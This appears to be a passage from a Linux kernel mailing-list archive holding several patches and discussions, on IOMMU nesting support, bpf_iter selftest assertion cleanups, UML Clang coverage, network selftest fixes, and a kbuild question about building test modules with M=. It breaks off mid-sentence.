This adds the scalable mode check before allocating the nested parent domain as checking nested capability is not enough. User may turn off scalable mode which also means no nested support even if the hardware supports it. Fixes: c97d1b20d383 ("iommu/vt-d: Add domain_alloc_user op") Signed-off-by: Yi Liu <yi.l.liu(a)intel.com> --- v1: Based on Joao's dirty page tracking v6 https://github.com/jpemartins/linux/commits/iommufd-v6 --- drivers/iommu/intel/iommu.c | 2 +- drivers/iommu/intel/iommu.h | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/drivers/iommu/intel/iommu.c b/drivers/iommu/intel/iommu.c index eb92a201cc0b..65f46f1347e6 100644 --- a/drivers/iommu/intel/iommu.c +++ b/drivers/iommu/intel/iommu.c @@ -4090,7 +4090,7 @@ intel_iommu_domain_alloc_user(struct device *dev, u32 flags) if (!iommu) return ERR_PTR(-ENODEV); - if ((flags & IOMMU_HWPT_ALLOC_NEST_PARENT) && !ecap_nest(iommu->ecap)) + if ((flags & IOMMU_HWPT_ALLOC_NEST_PARENT) && !nested_supported(iommu)) return ERR_PTR(-EOPNOTSUPP); dirty_tracking = (flags & IOMMU_HWPT_ALLOC_DIRTY_TRACKING); diff --git a/drivers/iommu/intel/iommu.h b/drivers/iommu/intel/iommu.h index 3bb569146229..cc7301579773 100644 --- a/drivers/iommu/intel/iommu.h +++ b/drivers/iommu/intel/iommu.h @@ -544,6 +544,8 @@ enum { ecap_pasid((iommu)->ecap)) #define ssads_supported(iommu) (sm_supported(iommu) && \ ecap_slads((iommu)->ecap)) +#define nested_supported(iommu) (sm_supported(iommu) && \ + ecap_nest((iommu)->ecap)) struct pasid_entry; struct pasid_state_entry; -- 2.34.1

1 year, 11 months

4
3
0 0

[PATCH v6 00/10] iommufd: Add nesting infrastructure (part 1/2)

by Yi Liu

Nested translation is a hardware feature that is supported by many modern IOMMU hardwares. It has two stages of address translations to get access to the physical address. A stage-1 translation table is owned by userspace (e.g. by a guest OS), while a stage-2 is owned by kernel. Any change to a stage-1 translation table should be followed by an IOTLB invalidation. Take Intel VT-d as an example, the stage-1 translation table is guest I/O page table. As the below diagram shows, the guest I/O page table pointer in GPA (guest physical address) is passed to host and be used to perform a stage-1 translation. Along with it, a modification to present mappings in the guest I/O page table should be followed by an IOTLB invalidation. .-------------. .---------------------------. | vIOMMU | | Guest I/O page table | | | '---------------------------' .----------------/ | PASID Entry |--- PASID cache flush --+ '-------------' | | | V | | I/O page table pointer in GPA '-------------' Guest ------| Shadow |---------------------------|-------- v v v Host .-------------. .------------------------. | pIOMMU | | FS for GIOVA->GPA | | | '------------------------' .----------------/ | | PASID Entry | V (Nested xlate) '----------------\.----------------------------------. | | | SS for GPA->HPA, unmanaged domain| | | '----------------------------------' '-------------' Where: - FS = First stage page tables - SS = Second stage page tables <Intel VT-d Nested translation> In IOMMUFD, all the translation tables are tracked by hw_pagetable (hwpt) and each hwpt is backed by an iommu_domain allocated from an iommu driver. So in this series hw_pagetable and iommu_domain means the same thing if no special note. IOMMUFD has already supported allocating hw_pagetable linked with an IOAS. However, a nesting case requires IOMMUFD to allow allocating hw_pagetable with driver specific parameters and interface to sync stage-1 IOTLB as user owns the stage-1 translation table. This series is based on the iommu hw info reporting series [1] and nested parent domain allocation [2]. It first extends domain_alloc_user to allocate hwpt with user data by allowing the IOMMUFD internal infrastructure to accept user_data and parent hwpt, relaying the user_data/parent to the iommu core to allocate IOMMU_DOMAIN_NESTED. And it then extends the IOMMU_HWPT_ALLOC ioctl to accept user data and a parent hwpt ID. Note that this series is the part-1 set of a two-part nesting series. It does not include the cache invalidation interface, which will be added in the part 2. Complete code can be found in [3], it is on top of Joao's dirty page tracking v6 series and fix patches. QEMU could can be found in [4]. At last, this is a team work together with Nicolin Chen, Lu Baolu. Thanks them for the help. ^_^. Look forward to your feedbacks. [1] https://lore.kernel.org/linux-iommu/20230818101033.4100-1-yi.l.liu@intel.co… - merged [2] https://lore.kernel.org/linux-iommu/20230928071528.26258-1-yi.l.liu@intel.c… - merged [3] https://github.com/yiliu1765/iommufd/tree/iommufd_nesting [4] https://github.com/yiliu1765/qemu/tree/zhenzhong/wip/iommufd_nesting_rfcv1 Change log: v6: - Rebase on top of Joao's dirty tracking series: https://lore.kernel.org/linux-iommu/20231024135109.73787-1-joao.m.martins@o… - Rebase on top of the enforce_cache_coherency removal patch: https://lore.kernel.org/linux-iommu/ZTcAhwYjjzqM0A5M@Asurada-Nvidia/ - Add parent and user_data check in iommu driver before the driver actually supports the two input. This can make better bisect support, the change is in patch 02. v5: https://lore.kernel.org/linux-iommu/20231020091946.12173-1-yi.l.liu@intel.c… - Split the iommufd nesting series into two parts of alloc_user and invalidation (Jason) - Split IOMMUFD_OBJ_HW_PAGETABLE to IOMMUFD_OBJ_HWPT_PAGING/_NESTED, and do the same with the structures/alloc()/abort()/destroy(). Reworked the selftest accordingly too. (Jason) - Move hwpt/data_type into struct iommu_user_data from standalone op arguments. (Jason) - Rename hwpt_type to be data_type, the HWPT_TYPE to be HWPT_ALLOC_DATA, _TYPE_DEFAULT to be _ALLOC_DATA_NONE (Jason, Kevin) - Rename iommu_copy_user_data() to iommu_copy_struct_from_user() (Kevin) - Add macro to the iommu_copy_struct_from_user() to calculate min_size (Jason) - Fix two bugs spotted by ZhaoYan v4: https://lore.kernel.org/linux-iommu/20230921075138.124099-1-yi.l.liu@intel.… - Separate HWPT alloc/destroy/abort functions between user-managed HWPTs and kernel-managed HWPTs - Rework invalidate uAPI to be a multi-request array-based design - Add a struct iommu_user_data_array and a helper for driver to sanitize and copy the entry data from user space invalidation array - Add a patch fixing TEST_LENGTH() in selftest program - Drop IOMMU_RESV_IOVA_RANGES patches - Update kdoc and inline comments - Drop the code to add IOMMU_RESV_SW_MSI to kernel-managed HWPT in nested translation, this does not change the rule that resv regions should only be added to the kernel-managed HWPT. The IOMMU_RESV_SW_MSI stuff will be added in later series as it is needed only by SMMU so far. v3: https://lore.kernel.org/linux-iommu/20230724110406.107212-1-yi.l.liu@intel.… - Add new uAPI things in alphabetical order - Pass in "enum iommu_hwpt_type hwpt_type" to op->domain_alloc_user for sanity, replacing the previous op->domain_alloc_user_data_len solution - Return ERR_PTR from domain_alloc_user instead of NULL - Only add IOMMU_RESV_SW_MSI to kernel-managed HWPT in nested translation (Kevin) - Add IOMMU_RESV_IOVA_RANGES to report resv iova ranges to userspace hence userspace is able to exclude the ranges in the stage-1 HWPT (e.g. guest I/O page table). (Kevin) - Add selftest coverage for the new IOMMU_RESV_IOVA_RANGES ioctl - Minor changes per Kevin's inputs v2: https://lore.kernel.org/linux-iommu/20230511143844.22693-1-yi.l.liu@intel.c… - Add union iommu_domain_user_data to include all user data structures to avoid passing void * in kernel APIs. - Add iommu op to return user data length for user domain allocation - Rename struct iommu_hwpt_alloc::data_type to be hwpt_type - Store the invalidation data length in iommu_domain_ops::cache_invalidate_user_data_len - Convert cache_invalidate_user op to be int instead of void - Remove @data_type in struct iommu_hwpt_invalidate - Remove out_hwpt_type_bitmap in struct iommu_hw_info hence drop patch 08 of v1 v1: https://lore.kernel.org/linux-iommu/20230309080910.607396-1-yi.l.liu@intel.… Thanks, Yi Liu Jason Gunthorpe (2): iommufd: Rename IOMMUFD_OBJ_HW_PAGETABLE to IOMMUFD_OBJ_HWPT_PAGING iommufd/device: Wrap IOMMUFD_OBJ_HWPT_PAGING-only configurations Lu Baolu (1): iommu: Add IOMMU_DOMAIN_NESTED Nicolin Chen (6): iommufd: Derive iommufd_hwpt_paging from iommufd_hw_pagetable iommufd: Share iommufd_hwpt_alloc with IOMMUFD_OBJ_HWPT_NESTED iommufd: Add a nested HW pagetable object iommu: Add iommu_copy_struct_from_user helper iommufd/selftest: Add nested domain allocation for mock domain iommufd/selftest: Add coverage for IOMMU_HWPT_ALLOC with nested HWPTs Yi Liu (1): iommu: Pass in parent domain with user_data to domain_alloc_user op drivers/iommu/intel/iommu.c | 7 +- drivers/iommu/iommufd/device.c | 157 +++++++--- drivers/iommu/iommufd/hw_pagetable.c | 271 +++++++++++++----- drivers/iommu/iommufd/iommufd_private.h | 73 +++-- drivers/iommu/iommufd/iommufd_test.h | 18 ++ drivers/iommu/iommufd/main.c | 10 +- drivers/iommu/iommufd/selftest.c | 151 ++++++++-- drivers/iommu/iommufd/vfio_compat.c | 6 +- include/linux/iommu.h | 72 ++++- include/uapi/linux/iommufd.h | 31 +- tools/testing/selftests/iommu/iommufd.c | 120 ++++++++ .../selftests/iommu/iommufd_fail_nth.c | 3 +- tools/testing/selftests/iommu/iommufd_utils.h | 31 +- 13 files changed, 768 insertions(+), 182 deletions(-) -- 2.34.1

1 year, 11 months

5
29
0 0

[PATCH 0/2] um: kunit: Add Clang support for CONFIG_GCOV

by Michał Winiarski

Clang uses a different set of CLI args for coverage, and the output needs to be processed by a different set of tools. Update the Makefile and add an example of usage in kunit docs. Michał Winiarski (2): arch: um: Add Clang coverage support Documentation: kunit: Add clang UML coverage example Documentation/dev-tools/kunit/running_tips.rst | 11 +++++++++++ arch/um/Makefile-skas | 5 +++++ 2 files changed, 16 insertions(+) -- 2.42.0

1 year, 11 months

3
5
0 0

[PATCH bpf-next] selftests/bpf: Add malloc failure checks in bpf_iter

by Yuran Pereira

Since some malloc calls in bpf_iter may at times fail, this patch adds the appropriate fail checks, and ensures that any previously allocated resource is appropriately destroyed before returning the function. This is patch 2 in the sequence should be applied after d1a88d37cecc "selftests/bpf: Convert CHECK macros to ASSERT_* macros in bpf_iter" Patch 1: https://lore.kernel.org/lkml/DB3PR10MB683589A5F705C6CA5BE0D325E8DFA@DB3PR10… Signed-off-by: Yuran Pereira <yuran.pereira(a)hotmail.com> --- tools/testing/selftests/bpf/prog_tests/bpf_iter.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c index 526ac4e741ee..c6cf42c64af3 100644 --- a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c +++ b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c @@ -700,7 +700,7 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) goto free_link; buf = malloc(expected_read_len); - if (!buf) + if (!ASSERT_OK_PTR(buf, "malloc")) goto close_iter; /* do read */ @@ -871,6 +871,10 @@ static void test_bpf_percpu_hash_map(void) skel->rodata->num_cpus = bpf_num_possible_cpus(); val = malloc(8 * bpf_num_possible_cpus()); + if (!ASSERT_OK_PTR(val, "malloc")) { + bpf_iter_bpf_percpu_hash_map__destroy(skel); + return; + } err = bpf_iter_bpf_percpu_hash_map__load(skel); if (!ASSERT_OK_PTR(skel, "bpf_iter_bpf_percpu_hash_map__load")) @@ -1048,6 +1052,10 @@ static void test_bpf_percpu_array_map(void) skel->rodata->num_cpus = bpf_num_possible_cpus(); val = malloc(8 * bpf_num_possible_cpus()); + if (!ASSERT_OK_PTR(val, "malloc")) { + bpf_iter_bpf_percpu_array_map__destroy(skel); + return; + } err = bpf_iter_bpf_percpu_array_map__load(skel); if (!ASSERT_OK_PTR(skel, "bpf_iter_bpf_percpu_array_map__load")) -- 2.25.1

1 year, 11 months

3
2
0 0

[PATCH bpf-next] selftests/bpf: Convert CHECK macros to ASSERT_* macros in bpf_iter

by Yuran Pereira

As it was pointed out by Yonghong Song [1], in the bpf selftests the use of the ASSERT_* series of macros is preferred over the CHECK macro. This patch replaces all CHECK calls in bpf_iter with the appropriate ASSERT_* macros. [1] https://lore.kernel.org/lkml/0a142924-633c-44e6-9a92-2dc019656bf2@linux.dev Suggested-by: Yonghong Song <yonghong.song(a)linux.dev> Signed-off-by: Yuran Pereira <yuran.pereira(a)hotmail.com> --- .../selftests/bpf/prog_tests/bpf_iter.c | 80 +++++++++---------- 1 file changed, 39 insertions(+), 41 deletions(-) diff --git a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c index 1f02168103dd..526ac4e741ee 100644 --- a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c +++ b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c @@ -64,7 +64,7 @@ static void do_dummy_read_opts(struct bpf_program *prog, struct bpf_iter_attach_ /* not check contents, but ensure read() ends without error */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - CHECK(len < 0, "read", "read failed: %s\n", strerror(errno)); + ASSERT_GE(len, 0, "read"); close(iter_fd); @@ -413,7 +413,7 @@ static int do_btf_read(struct bpf_iter_task_btf *skel) goto free_link; } - if (CHECK(err < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(err, 0, "read")) goto free_link; ASSERT_HAS_SUBSTR(taskbuf, "(struct task_struct)", @@ -526,11 +526,11 @@ static int do_read_with_fd(int iter_fd, const char *expected, start = 0; while ((len = read(iter_fd, buf + start, read_buf_len)) > 0) { start += len; - if (CHECK(start >= 16, "read", "read len %d\n", len)) + if (!ASSERT_LT(start, 16, "read")) return -1; read_buf_len = read_one_char ? 1 : 16 - start; } - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) return -1; if (!ASSERT_STREQ(buf, expected, "read")) @@ -571,8 +571,7 @@ static int do_read(const char *path, const char *expected) int err, iter_fd; iter_fd = open(path, O_RDONLY); - if (CHECK(iter_fd < 0, "open", "open %s failed: %s\n", - path, strerror(errno))) + if (!ASSERT_GE(iter_fd, 0, "open")) return -1; err = do_read_with_fd(iter_fd, expected, false); @@ -600,7 +599,7 @@ static void test_file_iter(void) unlink(path); err = bpf_link__pin(link, path); - if (CHECK(err, "pin_iter", "pin_iter to %s failed: %d\n", path, err)) + if (!ASSERT_OK(err, "pin_iter")) goto free_link; err = do_read(path, "abcd"); @@ -651,12 +650,10 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) * overflow and needs restart. */ map1_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, NULL, 4, 8, 1, NULL); - if (CHECK(map1_fd < 0, "bpf_map_create", - "map_creation failed: %s\n", strerror(errno))) + if (!ASSERT_GE(map1_fd, 0, "bpf_map_create")) goto out; map2_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, NULL, 4, 8, 1, NULL); - if (CHECK(map2_fd < 0, "bpf_map_create", - "map_creation failed: %s\n", strerror(errno))) + if (!ASSERT_GE(map2_fd, 0, "bpf_map_create")) goto free_map1; /* bpf_seq_printf kernel buffer is 8 pages, so one map @@ -685,14 +682,12 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) /* setup filtering map_id in bpf program */ map_info_len = sizeof(map_info); err = bpf_map_get_info_by_fd(map1_fd, &map_info, &map_info_len); - if (CHECK(err, "get_map_info", "get map info failed: %s\n", - strerror(errno))) + if (!ASSERT_OK(err, "get_map_info")) goto free_map2; skel->bss->map1_id = map_info.id; err = bpf_map_get_info_by_fd(map2_fd, &map_info, &map_info_len); - if (CHECK(err, "get_map_info", "get map info failed: %s\n", - strerror(errno))) + if (!ASSERT_OK(err, "get_map_info")) goto free_map2; skel->bss->map2_id = map_info.id; @@ -714,16 +709,15 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) while ((len = read(iter_fd, buf, expected_read_len)) > 0) total_read_len += len; - CHECK(len != -1 || errno != E2BIG, "read", - "expected ret -1, errno E2BIG, but get ret %d, error %s\n", - len, strerror(errno)); + if (!ASSERT_EQ(len, -1, "read")) + goto free_buf; + ASSERT_EQ(errno, E2BIG, "read"); goto free_buf; } else if (!ret1) { while ((len = read(iter_fd, buf, expected_read_len)) > 0) total_read_len += len; - if (CHECK(len < 0, "read", "read failed: %s\n", - strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto free_buf; } else { do { @@ -732,8 +726,7 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) total_read_len += len; } while (len > 0 || len == -EAGAIN); - if (CHECK(len < 0, "read", "read failed: %s\n", - strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto free_buf; } @@ -836,7 +829,7 @@ static void test_bpf_hash_map(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ @@ -917,7 +910,7 @@ static void test_bpf_percpu_hash_map(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ @@ -983,17 +976,15 @@ static void test_bpf_array_map(void) start = 0; while ((len = read(iter_fd, buf + start, sizeof(buf) - start)) > 0) start += len; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ res_first_key = *(__u32 *)buf; res_first_val = *(__u64 *)(buf + sizeof(__u32)); - if (CHECK(res_first_key != 0 || res_first_val != first_val, - "bpf_seq_write", - "seq_write failure: first key %u vs expected 0, " - " first value %llu vs expected %llu\n", - res_first_key, res_first_val, first_val)) + if (!ASSERT_EQ(res_first_key, 0, "bpf_seq_write")) + goto close_iter; + else if (!ASSERT_EQ(res_first_val, first_val, "bpf_seq_write")) goto close_iter; if (!ASSERT_EQ(skel->bss->key_sum, expected_key, "key_sum")) @@ -1092,7 +1083,7 @@ static void test_bpf_percpu_array_map(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ @@ -1131,6 +1122,7 @@ static void test_bpf_sk_storage_delete(void) sock_fd = socket(AF_INET6, SOCK_STREAM, 0); if (!ASSERT_GE(sock_fd, 0, "socket")) goto out; + err = bpf_map_update_elem(map_fd, &sock_fd, &val, BPF_NOEXIST); if (!ASSERT_OK(err, "map_update")) goto out; @@ -1151,14 +1143,20 @@ static void test_bpf_sk_storage_delete(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ err = bpf_map_lookup_elem(map_fd, &sock_fd, &val); - if (CHECK(!err || errno != ENOENT, "bpf_map_lookup_elem", - "map value wasn't deleted (err=%d, errno=%d)\n", err, errno)) + + /* Note: The following assertions serve to ensure + * the value was deleted. It does so by asserting + * that bpf_map_lookup_elem has failed. This might + * seem counterintuitivei at first. + */ + if (!ASSERT_ERR(err, "bpf_map_lookup_elem")) goto close_iter; + ASSERT_EQ(errno, ENOENT, "bpf_map_lookup_elem"); close_iter: close(iter_fd); @@ -1203,17 +1201,17 @@ static void test_bpf_sk_storage_get(void) do_dummy_read(skel->progs.fill_socket_owner); err = bpf_map_lookup_elem(map_fd, &sock_fd, &val); - if (CHECK(err || val != getpid(), "bpf_map_lookup_elem", - "map value wasn't set correctly (expected %d, got %d, err=%d)\n", - getpid(), val, err)) + if (!ASSERT_OK(err, "bpf_map_lookup_elem")) + goto close_socket; + else if (!ASSERT_EQ(val, getpid(), "bpf_map_lookup_elem")) goto close_socket; do_dummy_read(skel->progs.negate_socket_local_storage); err = bpf_map_lookup_elem(map_fd, &sock_fd, &val); - CHECK(err || val != -getpid(), "bpf_map_lookup_elem", - "map value wasn't set correctly (expected %d, got %d, err=%d)\n", - -getpid(), val, err); + if (!ASSERT_OK(err, "bpf_map_lookup_elem")) + goto close_socket; + ASSERT_EQ(val, -getpid(), "bpf_map_lookup_elem"); close_socket: close(sock_fd); @@ -1290,7 +1288,7 @@ static void test_bpf_sk_storage_map(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ -- 2.25.1

1 year, 11 months

2
1
0 0

[PATCH] selftests/net: give more time to udpgro nat tests

by Lucas Karpinski

In some conditions, background processes in udpgro don't have enough time to set up the sockets. When foreground processes start, this results in the bad GRO lookup test freezing or reporting that it received 0 gro segments. To fix this, increase the time given to background processes to complete the startup before foreground processes start. This is the same issue and the same fix as posted by Adrien Therry. Link: https://lore.kernel.org/all/20221101184809.50013-1-athierry@redhat.com/ Signed-off-by: Lucas Karpinski <lkarpins(a)redhat.com> --- tools/testing/selftests/net/udpgro.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/testing/selftests/net/udpgro.sh b/tools/testing/selftests/net/udpgro.sh index 0c743752669a..4ccbcb2390ad 100755 --- a/tools/testing/selftests/net/udpgro.sh +++ b/tools/testing/selftests/net/udpgro.sh @@ -97,7 +97,8 @@ run_one_nat() { echo "ok" || \ echo "failed"& - sleep 0.1 + # Hack: let bg programs complete the startup + sleep 0.2 ./udpgso_bench_tx ${tx_args} ret=$? kill -INT $pid -- 2.41.0

1 year, 11 months

2
1
0 0

[PATCH] selftests:net change ifconfig with ip command

by Swarup Laxman Kotiaklapudi

Change ifconfig with ip command, on a system where ifconfig is not used this script will not work correcly. Test result with this patchset: sudo make TARGETS="net" kselftest .... TAP version 13 1..1 timeout set to 1500 selftests: net: route_localnet.sh run arp_announce test net.ipv4.conf.veth0.route_localnet = 1 net.ipv4.conf.veth1.route_localnet = 1 net.ipv4.conf.veth0.arp_announce = 2 net.ipv4.conf.veth1.arp_announce = 2 PING 127.25.3.14 (127.25.3.14) from 127.25.3.4 veth0: 56(84) bytes of data. 64 bytes from 127.25.3.14: icmp_seq=1 ttl=64 time=0.038 ms 64 bytes from 127.25.3.14: icmp_seq=2 ttl=64 time=0.068 ms 64 bytes from 127.25.3.14: icmp_seq=3 ttl=64 time=0.068 ms 64 bytes from 127.25.3.14: icmp_seq=4 ttl=64 time=0.068 ms 64 bytes from 127.25.3.14: icmp_seq=5 ttl=64 time=0.068 ms --- 127.25.3.14 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4073ms rtt min/avg/max/mdev = 0.038/0.062/0.068/0.012 ms ok run arp_ignore test net.ipv4.conf.veth0.route_localnet = 1 net.ipv4.conf.veth1.route_localnet = 1 net.ipv4.conf.veth0.arp_ignore = 3 net.ipv4.conf.veth1.arp_ignore = 3 PING 127.25.3.14 (127.25.3.14) from 127.25.3.4 veth0: 56(84) bytes of data. 64 bytes from 127.25.3.14: icmp_seq=1 ttl=64 time=0.032 ms 64 bytes from 127.25.3.14: icmp_seq=2 ttl=64 time=0.065 ms 64 bytes from 127.25.3.14: icmp_seq=3 ttl=64 time=0.066 ms 64 bytes from 127.25.3.14: icmp_seq=4 ttl=64 time=0.065 ms 64 bytes from 127.25.3.14: icmp_seq=5 ttl=64 time=0.065 ms --- 127.25.3.14 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4092ms rtt min/avg/max/mdev = 0.032/0.058/0.066/0.013 ms ok ok 1 selftests: net: route_localnet.sh ... Signed-off-by: Swarup Laxman Kotiaklapudi <swarupkotikalapudi(a)gmail.com> --- tools/testing/selftests/net/route_localnet.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tools/testing/selftests/net/route_localnet.sh b/tools/testing/selftests/net/route_localnet.sh index 116bfeab72fa..3ab9beb4462c 100755 --- a/tools/testing/selftests/net/route_localnet.sh +++ b/tools/testing/selftests/net/route_localnet.sh @@ -18,8 +18,10 @@ setup() { ip route del 127.0.0.0/8 dev lo table local ip netns exec "${PEER_NS}" ip route del 127.0.0.0/8 dev lo table local - ifconfig veth0 127.25.3.4/24 up - ip netns exec "${PEER_NS}" ifconfig veth1 127.25.3.14/24 up + ip a add 127.25.3.4/24 dev veth0 + ip link set dev veth0 up + ip netns exec "${PEER_NS}" ip a add 127.25.3.14/24 dev veth1 + ip netns exec "${PEER_NS}" ip link set dev veth1 up ip route flush cache ip netns exec "${PEER_NS}" ip route flush cache -- 2.34.1

1 year, 11 months

4
6
0 0

Re: # Toplevel Makefile doesn't process module build correctly on recursive make calls

by Marcos Paulo de Souza

On Fri, Oct 20, 2023 at 06:21:40AM +0200, Nicolas Schier wrote: > On Thu, Oct 19, 2023 at 03:50:05PM -0300, Marcos Paulo de Souza wrote: > > On Sat, Oct 14, 2023 at 05:35:55PM +0900, Masahiro Yamada wrote: > > > On Tue, Oct 10, 2023 at 5:43 AM Marcos Paulo de Souza <mpdesouza(a)suse.de> wrote: > > > > > > > > Hi all, > > > > > > > > I found an issue while moving the livepatch kselftest modules to be built on the > > > > fly, instead of building them on kernel building. > > > > > > > > If, for some reason, there is a recursive make invocation that starts from the > > > > top level Makefile and in the leaf Makefile it tries to build a module (using M= > > > > in the make invocation), it doesn't produce the module. This happens because the > > > > toplevel Makefile checks for M= only once. This is controlled by the > > > > sub_make_done variable, which is exported after checking the command line > > > > options are passed to the top level Makefile. Once this variable is set it's > > > > the M= setting is never checked again on the recursive call. > > > > > > > > This can be observed when cleaning the bpf kselftest dir. When calling > > > > > > > > $ make TARGETS="bpf" SKIP_TARGETS="" kselftest-clean > > > > > > > > What happens: > > > > > > > > 1. It checks for some command line settings (like M=) was passed (it wasn't), > > > > set some definitions and exports sub_make_done. > > > > > > > > 2. Jump into tools/testing/selftests/bpf, and calls the clean target. > > > > > > > > 3. The clean target is overwritten to remove some files and then jump to > > > > bpf_testmod dir and call clean there > > > > > > > > 4. On bpf_testmod/Makefile, the clean target will execute > > > > $(Q)make -C $(KDIR) M=$(BPF_TESTMOD_DIR) clean > > > > > > > > 5. The KDIR is to toplevel dir. The top Makefile will check that sub_make_done was > > > > already set, ignoring the M= setting. > > > > > > > > 6. As M= wasn't checked, KBUILD_EXTMOD isn't set, and the clean target applies > > > > to the kernel as a whole, making it clean all generated code/objects and > > > > everything. > > > > > > > > One way to avoid it is to call "unexport sub_make_done" on > > > > tools/testing/selftests/bpf/bpf_testmod/Makefile before processing the all > > > > target, forcing the toplevel Makefile to process the M=, producing the module > > > > file correctly. > > > > > > > > If the M=dir points to /lib/modules/.../build, then it fails with "m2c: No such > > > > file", which I already reported here[1]. At the time this problem was treated > > > > like a problem with kselftest infrastructure. > > > > > > > > Important: The process works fine if the initial make invocation is targeted to a > > > > different directory (using -C), since it doesn't goes through the toplevel > > > > Makefile, and sub_make_done variable is not set. > > > > > > > > I attached a minimal reproducer, that can be used to better understand the > > > > problem. The "make testmod" and "make testmod-clean" have the same effect that > > > > can be seem with the bpf kselftests. There is a unexport call commented on > > > > test-mods/Makefile, and once that is called the process works as expected. > > > > > > > > Is there a better way to fix this? Is this really a problem, or am I missing > > > > something? > > > > > > > > > Or, using KBUILD_EXTMOD will work too. > > > > Yes, that works, only if set to /lib/modules: > > > > $ make kselftest TARGETS=bpf SKIP_TARGETS="" > > make[3]: Entering directory '/home/mpdesouza/git/linux/tools/testing/selftests/bpf' > > MOD bpf_testmod.ko > > warning: the compiler differs from the one used to build the kernel > > The kernel was built by: gcc (SUSE Linux) 13.2.1 20230803 [revision cc279d6c64562f05019e1d12d0d825f9391b5553] > > You are using: gcc (SUSE Linux) 13.2.1 20230912 [revision b96e66fd4ef3e36983969fb8cdd1956f551a074b] > > CC [M] /home/mpdesouza/git/linux/tools/testing/selftests/bpf/bpf_testmod/bpf_testmod.o > > MODPOST /home/mpdesouza/git/linux/tools/testing/selftests/bpf/bpf_testmod/Module.symvers > > CC [M] /home/mpdesouza/git/linux/tools/testing/selftests/bpf/bpf_testmod/bpf_testmod.mod.o > > LD [M] /home/mpdesouza/git/linux/tools/testing/selftests/bpf/bpf_testmod/bpf_testmod.ko > > BTF [M] /home/mpdesouza/git/linux/tools/testing/selftests/bpf/bpf_testmod/bpf_testmod.ko > > Skipping BTF generation for /home/mpdesouza/git/linux/tools/testing/selftests/bpf/bpf_testmod/bpf_testmod.ko due to unavailability of vmlinux > > BINARY xdp_synproxy > > ... > > > > But if we set the KBUILD_EXTMOD to toplevel Makefile, it fails with a different > > strange issue: > > > > $ make kselftest TARGETS=bpf SKIP_TARGETS="" > > BINARY urandom_read > > MOD bpf_testmod.ko > > m2c -o scripts/Makefile.build -e scripts/Makefile.build scripts/Makefile.build.mod > > make[6]: m2c: No such file or directory > > make[6]: *** [<builtin>: scripts/Makefile.build] Error 127 > > make[5]: *** [Makefile:1913: /home/mpdesouza/git/linux/tools/testing/selftests/bpf/bpf_testmod] Error 2 > > make[4]: *** [Makefile:19: all] Error 2 > > make[3]: *** [Makefile:229: /home/mpdesouza/git/linux/tools/testing/selftests/bpf/bpf_testmod.ko] Error 2 > > make[3]: Leaving directory '/home/mpdesouza/git/linux/tools/testing/selftests/bpf' > > make[2]: *** [Makefile:175: all] Error 2 > > make[1]: *** [/home/mpdesouza/git/linux/Makefile:1362: kselftest] Error 2 > > > > I attached a patch that can reproduce the case where it works, and the case > > where it doesn't by changing the value of KDIR. > > > > I understand that KBUILD_EXTMOD, as the name implies, was designed to build > > "external" modules, and not ones that live inside kernel, but how could this be > > solved? > > It seems to me as if there is some confusion about in-tree vs. > out-of-tree kmods. > > KBUILD_EXTMOD and M are almost the same and indicate that you want to > build _external_ (=out-of-tree) kernel modules. In-tree modules are > only those that stay in-tree _and_ are built along with the kernel. > Thus, 'make modules KBUILD_EXTMOD=fs/ext4' could be used to build ext4 > kmod as "out-of-tree" kernel module, that even taints the kernel if it > gets loaded. > > If you want bpf_testmod.ko to be an in-tree kmod, it has to be build > during the usual kernel build, not by running 'make kselftest'. > > If you use 'make -C $(KDIR)' for building out-of-tree kmods, KDIR has to > point to the kernel build directory. (Or it may point to the source > tree if you give O=$(BUILDDIR) as well). Thanks for the explanation Nicolas. In this, I believe that the BPF module should be moved into lib/, like lib/livepatch, when then be built along with other 